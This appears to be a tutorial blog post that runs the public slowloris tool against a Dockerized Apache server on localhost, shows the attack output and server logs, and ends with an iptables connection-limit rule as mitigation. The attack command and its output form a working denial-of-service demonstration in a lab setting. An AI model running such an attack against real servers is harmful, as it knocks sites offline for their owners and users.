In this guide, I will show you how to set up an Apache server inside Docker and how to test it with slowloris attack. In the end, I will show how to mitigate the attack.
Motivation
So you just set up your new shiny Apache server, and you wonder whether it is safe, probably. The answer is no; it is not secure. The threat of a slowloris attack is real, and if you could switch to a different and newer technology like Nginx server, I suggest you do so. In this guide, I will show how the basic setup looks like; then we are going to perform the slowloris attack.
Setting up Apache server
For the simplicity of this guide, we will use Docker. Make sure you have already installed Docker on your computer. If you haven't, visit the official websites here. Clone the repository detrin/slowloris-attack-example and navigate into it. Build the docker image
$ docker build -t apache-server .
After the build is finished run the container in an interactive session
$ docker run — rm -it — name apache-test-server -p 8080:80 apache-server
Now our test Apache server is running in a container and is accessible on localhost at port 8080. Visit the site on http://localhost:8080.
Open another terminal and make sure you installed python3 already on your machine. We will be using the implementation of slowloris attack at gkbrk/slowloris. To install slowloris from pip run
$ python3 -m pip install slowloris
Now running the attack is quite simple. Just run the following
slowloris localhost -p 8080 -s 3000
You should get output similar to this one
[05–08–2021 18:06:09] Attacking localhost with 3000 sockets.
[05–08–2021 18:06:09] Creating sockets…
[05–08–2021 18:06:17] Sending keep-alive headers… Socket count: 1021
[05–08–2021 18:06:32] Sending keep-alive headers… Socket count: 1021
[05–08–2021 18:06:47] Sending keep-alive headers… Socket count: 1021
[05–08–2021 18:07:02] Sending keep-alive headers… Socket count: 1021
If you look back at the running Docker session, you should get something like following with many SIGTERMs
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
[Thu Aug 05 17:32:24.209521 2021] [mpm_event:notice] [pid 1:tid 140237371364480] AH00489: Apache/2.4.48 (Unix) configured — resuming normal operations
[Thu Aug 05 17:32:24.209654 2021] [core:notice] [pid 1:tid 140237371364480] AH00094: Command line: 'httpd -D FOREGROUND'
[Thu Aug 05 17:32:41.233634 2021] [mpm_event:error] [pid 1:tid 140237371364480] AH00484: server reached MaxRequestWorkers setting, consider raising the MaxRequestWorkers setting
[Thu Aug 05 17:32:44.158236 2021] [mpm_event:notice] [pid 1:tid 140237371364480] AH00492: caught SIGWINCH, shutting down gracefully
[Thu Aug 05 17:32:47.959719 2021] [core:warn] [pid 1:tid 140237371364480] AH00045: child process 8 still did not exit, sending a SIGTERM
[Thu Aug 05 17:32:47.959792 2021] [core:warn] [pid 1:tid 140237371364480] AH00045: child process 9 still did not exit, sending a SIGTERM
[Thu Aug 05 17:32:47.959816 2021] [core:warn] [pid 1:tid 140237371364480] AH00045: child process 10 still did not exit, sending a SIGTERM
That is caused by the fact that the Apache server will create a new thread with every new active request. Another reason why you should switch to a different webserver if you can. Try to revisit http://localhost:8080 again with Ctrl+F5 to clear the cache. It should not load. Congratulations, you have just successfully run slowloris attack on your computer!
The simplest mitigation would be to add a rule to IPTABLES
$ sudo iptables -I INPUT -p tcp --dport 8080 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j DROP
The output from slowloris looks better now
[05–08–2021 18:30:11] Attacking localhost with 3000 sockets.
[05–08–2021 18:30:11] Creating sockets…
[05–08–2021 18:30:15] Sending keep-alive headers… Socket count: 20